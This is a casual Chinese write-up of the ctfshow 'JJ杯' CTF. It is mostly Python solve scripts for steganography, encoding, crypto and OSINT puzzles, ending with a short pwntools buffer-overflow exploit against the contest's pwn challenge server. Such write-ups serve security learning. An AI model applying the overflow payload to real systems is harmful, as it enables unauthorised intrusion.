ctfshow JJ杯（击剑杯） WP 随便写写

👴这几天不高兴 不想写。贴exp
只做MISC 其他不想做
👴感觉还可以，但怎么不想写，贴exp
吃饭去了

Misc

中文识别带师

一个个识别

你和base击剑，谁更强？

GIFFrame弄出来
然后扫码脚本

from PIL import Image, ImageSequence
from pyzbar import pyzbar
from tqdm import tqdm

def decQR(img):
    infos = pyzbar.decode(img)
    return infos[0][0].decode()

def get_QR(img):
    w,h = img.size
    for k in range(3):
        new_pic = Image.new('L', (w, h), 'black')
        for i in range(h):
            for j in range(w):
                co = str(bin(img.getpixel((j,i))[k]))[-1]
                if(co == '1'):
                    new_pic.putpixel((j,i),255)
        new_pic = new_pic.resize((1110,540))
        try:
            info = decQR(new_pic)
            return info
        except:
            pass


if __name__ == "__main__":
    base_64 = ''
    for i in tqdm(range(1235)):
        img = Image.open('./hehe/Frame{}.png'.format(str(i)))
        base_64 += get_QR(img)
    print(base_64)

然后那张gif文件尾有一串东西，00 00 00 00开头的
后面那串与504b0304异或
exp

# f = open('12.zip','rb').read()  #12.zip就是00 00 00 00开头的那个
# table = b'\x50\x4b\x03\x04'
# for i in range(len(f)):
#     print(str(hex(f[i] ^ (table[i%4])))[2:].zfill(2),end='')

不想直接写文件，然后放cyberchef生成文件弄出来
然后有个txt，base64加密之后和扫码拼出来的base64长度一样（去掉“=”）
爆表

import string
m1='''5Ye75YmR77yIRmVuY2luZ++8ieaYr+WJkeexu+i/kOWKqOS5i+S4gO+8jOi/kOWKqOWRmOS4gOaJi+aMgee7humVv+eahOW8ueaAp+mSouWJke+8jOWktOW4pumdoue9qe+8jOi6q+epv+inhOWumuacjeijhe+8jOWcqOmVv+aWueW9oueahOWcuuWcsOS4iuOAguWHu+WJkeWcqOi/nOWPpOaXtuacn+WwseW3sue7j+WHuueOsOS6hu+8jOWcqOWPpOS7o+Wfg+WPiuOAgeS4reWbveOAgeW4jOiFiuOAgee9l+mprOOAgemYv+aLieS8r+etieWbveWutuWNgeWIhuebm+ihjOOAgjE3NzYg5bm077yM5rOV5Zu95Ye75YmR5aSn5biI5ouJ5biD55Om6KW/5Z+D5Y+R5piO5LqG6Z2i572p77yM6L+Z5LiA5Y+R5piO5piv5Ye75YmR6L+Q5Yqo5LiA5Liq6YeN54K56YeM56iL56KR44CCMTg5NuW5tOWcqOmbheWFuOS4vuihjOeahOesrDHlsYrnjrDku6PlpaXov5DkvJrkuIrlsLHorr7mnInnlLflrZDoirHliZHjgIHkvanliZHnmoTmr5TotZvjgIIxOTAw5bm05Zyo5be06buO5Li+6KGM55qE56ysMuWxiuWlpei/kOS8muS4iuWinuWKoOS6hueUt+WtkOmHjeWJkeavlOi1m+OAgjE5MTPlubQxMeaciDI55pel5Zyo5rOV5Zu95be06buO5oiQ56uL5LqG5Zu96ZmF5Ye75YmR6IGU5ZCI5Lya44CCMTkxNOW5tDbmnIjlnKjlt7Tpu47pgJrov4fkuobjgIrlh7vliZHnq57otZvop4TliJnjgIvvvIzku47ogIzkvb/lh7vliZHov5Dliqjnq57otZvotovlkJHlhazlubPjgIHlkIjnkIbjgILlh7vliZHnmoTmnIDpq5jnu4Tnu4fmnLrmnoTmmK/lm73pmYXlh7vliZHogZTlkIjkvJrvvIwxOTEz5bm0MTHmnIgyOeaXpeWcqOW3tOm7juaIkOeri+OAglRoZSBoaWdoZXN0IG9yZ2FuaXphdGlvbiBpbiBDaGluYSBpcyB0aGUgQ2hpbmEgRmVuY2luZyBBc3NvY2lhdGlvbiwgd2hpY2ggd2FzIGVzdGFibGlzaGVkIGluIEJlaWppbmcgaW4gMTk3My4='''
c1 = '''4aD74aG377U13GJpaxypS++8BD5al+jn2DDRp+B/2CjdLCH4B+HzsC+8bCB/2CjdLCj3GCHzsC5nB+5hsDD7ApGJQ+D5ACj8pD5Nk+GHKpjn2D+8bCj2mCjzkpGrKpD9LD+8bCB6L+DkQ+BgACjpGp5obDBbAD+8bCjoLCGJQ+5jpDj9KpD5ACjoppjoMCHzBpCNspjFp+jn2DjoLCB/gCjtkC5Pmp5og+jqMDjZMpD7b+jFppDCMCH6Ap+8bCjoLCjtkCH7K+jIs+jtBpCNsDHzlDjwQDCNsDjzbCB0BpCNsDD9y+GklCCNsDGaQ+5TBDH8l+DmBDjwQDjpmpjEsDj1ApDwG+BAbCCNsbYZEVas4wGv77Uh4lCJ4Sp94aD74aG345Hg4wB14Kpn4wBe44CG6dj/4S+e4a+34kBC4TLu6SxB47xk77Uh6T+S4TBN4a+34kBC4kBQ4aD74aG36T+f4aLK4TBN4TBL6aDE4zd46aDh46BT46d3zzcchOs4Epj4mCjoLCGwADj0pCHzQpBAbCD5ACDMleFyMalgble2p6tyk5PKQ4e2Qnl2p1lyMTFKll7Gg1ggyTIylSeKBlFyBSFbs1F2Q5gyBSFgGKOGl4OKmSQbs11RCONq4wGv4SUK4wDv6wpC4TB+6duh44LY46UMhpjRBpjykDB/2CH8GpHzBpjBgpjdKCH6ApDWm+jm2CGFbDjn2D5QyCBXG+CNsbY4hOtypwfRhD5oBe144kDy4SUK4lCJ4Sp94wDv6wpC4KBf46pT4TLu4Sp96SG04aD74aG361uW4Sc14TU5zzcchO2RECj4mewGg1bygdbym7Okpz7ksnlKQzI2pKwbs1lyA7QyBSFgL47KmSQKkzOyBngbs1QQQ1V2pz7Ks1V2Qw/yA7QyBSFKQ4eyBLbgL47KmSQKmKQy2nFyA5Vypwtbs1Fy21bg21wbs1TyA7QyBSFgGKOGg1ekL4bgpzOgpzIGgTlGgKOGGd/yG7ZkGaPyA7QyBSFKsSOy21b2QnlQQ1qRCOYV4wGvhOFGg1sUCD5PkDjoLCjZmCG7bp512CDlB+CNsy3KSHiK5jrKSPEv1u9USx0p5PkAruyQwBikwBie5uypaHikoUiv5uWsfxAkwGYs3GJpaxypSUiioZEQaxyAruyQwBqsrxAkaxssrx0V1uJVru0BwuyV5uJ21uyp1Yny5jkkwGos5jzshO2ZhUz='''

#print(b64)
table = string.ascii_uppercase+string.ascii_lowercase+string.digits+'+/'
#tables = string.ascii_uppercase[::-1]+string.ascii_lowercase[::-1]+string.digits[::-1]+'+/'
#print(tables)
#print(table)
now_table = ''
for i in table:
    for j in range(len(m1)):
        if(i == m1[j]):
            now_table += c1[j]
            break
print(now_table)

从A开始到后面就是密码，解压

火烤大牛2.0

WPS打开，设置条件格式，含“我”的设置为红色
得到密码

_Dan1u_2.0_

写个脚本把背景色提出来写进新文件
随便写的

import openpyxl
from openpyxl import load_workbook
import string
from PIL import Image

new = Image.new('RGB',(299,199),(255,255,255))
wb = load_workbook('火烤大牛2.0.xlsx')
sheet = wb["Sheet"]
table = string.ascii_uppercase
# print(table)
color = ''
for i in range(1,200):
    for j in range(1,300):
        if(j <= 26):
            color += sheet[table[j-1]+str(i)].fill.fgColor.rgb[2:]
        if(j > 26):
            color += sheet[table[((j-1)//26)-1]+table[(j-1)%26]+str(i)].fill.fgColor.rgb[2:]

h = 0
for i in range(len(color)//6):
    if(i%299 == 0 and i != 0):
        h += 1
    new.putpixel((i%299,h),(int(color[i*6:i*6+2],16),int(color[i*6+2:i*6+4],16),int(color[i*6+4:i*6+6],16)))
new.show()
new.save('daniu!!!.png')

然后cloacked-pixel

python .\lsb.py extract .\daniu!!!.png aaaa _Dan1u_2.0_

简单的隐写

exp

from PIL import Image
print(''.join(str(Image.open('mumuzi.png').getpixel((c,0))%2) for c in range(400)))

然后2进制转ascii

看图识码

谢谢八神👴👴 microQR扫4个码就行了

看图识妹

找个好朋友一起击剑 欣赏

Crypto

单向加密

斐波拉契
exp

s = '21892299583455516902678177407943098723020343792737269219307899917648316295261201016328488524278932283999750824537049252476708912581411433116481435169820171800812269837405200686395697568215005205362068960832774807526976480752697635422484817926191507531940434634990099905635630699300684624818348075269761353018523447067460493194043463499009990512649370320429973934883223194043463499009990592737269219307899917677787420494356677625885484473810535422484817926191507531940434634990099905927372692193078999176777874204913530185234470674604948075269764356677625885484473810583621143489848422977218922995834555169026218922995834555169026777874204959425114757512643212875125'

for num in range(128):
    fibs = [1,1]
    for i in range(num-2):
        fibs.append(fibs[-2]+fibs[-1])
#print(fibs)
for i in range(32,len(fibs)):
    if(str(fibs[i]) in s):
        s = s.replace(str(fibs[i]),chr(i+1))
print(s)

么西么西？

DTMF，不知道为啥没人做

hz1 = [1209,1336,1477,1633]
hz2 = [697,770,852,941]
table = ['1','2','3','A','4','5','6','B','7','8','9','C','*','0','#','D']

s = '1336-697 1477-697 1477-697 1336-770 1209-852 1477-697 1336-770 1209-852 1336-941 1209-770 1209-852 1209-697 1209-697 1336-697 1336-941 1336-941 1477-770 1209-697 1477-770 1209-770 1477-852 1336-941 1477-852 1477-852 1477-852 1209-852 1336-770 1477-852 1336-941 1209-697 1209-697 1336-852 1209-697 1336-941 1477-697 1477-697 1477-852 1336-697 1477-770 1336-852 1209-697 1336-697 1336-941 1336-697 1209-697 1336-941 1336-770 1336-852 1477-697 1477-697 1209-770 1336-852 1209-697 1336-941 1336-852 1336-852 1209-770 1209-770 1477-852 1209-852 1477-697 1336-852 1209-852 1336-697 1336-941 1336-941 1336-941 1336-941 1336-697 1209-770 1477-852 1209-852 1336-697 1477-770 1209-770 1336-852 1336-697 1209-852 1477-852 1336-941 1209-770 1336-941 1336-770 1209-852 1336-852 1209-697 1336-770 1209-770 1336-697 1336-697 1477-697 1336-770 1336-852 1209-852 1336-697 1477-697 1209-697 1477-852 1336-770 1209-770 1209-697 1336-941 1477-770 1209-697 1336-941 1209-770 1336-852 1477-770 1336-770 1477-697 1336-852'
s = s.split(' ')
flag = ''
for i in s:
    _hz1 = int(i[:4])
    _hz2 = int(i[-3:])
    for k in range(len(hz1)):
        if(hz1[k] == _hz1):
            for j in range(len(hz2)):
                if(hz2[j] == _hz2):
                    flag += table[j*4+k]
                    break
print(flag)
import libnum
print(libnum.n2s(int(flag)))

🐕都不做

英语阅读

谷歌： 考研 osint
知乎专栏

这是哪里

百度识图，找到一张很像的，下面写了名字黄道周
搜 黄道周雕塑 广告牌，可以找到另一个视角的图
还有个微信公众号，然后去看了看公众号搜这个，没搜到，但是我看到有个黄道周公园
就搜黄道周公园，地址就在那里，后面是117.5125

小城美食

直接搜字，然后看视频。6:43

安装Arch

b站搜“安装 Arch 字幕” 第一个视频

Pwn

pwn01-My_sword_is_ready

from pwn import *
context.log_level='debug'
p = remote('pwn.challenge.ctf.show',28043)
p.recvuntil(b'bit!\n')
payload = b'a'*(0x30-0xc)+p32(664)
p.send(payload)
p.interactive()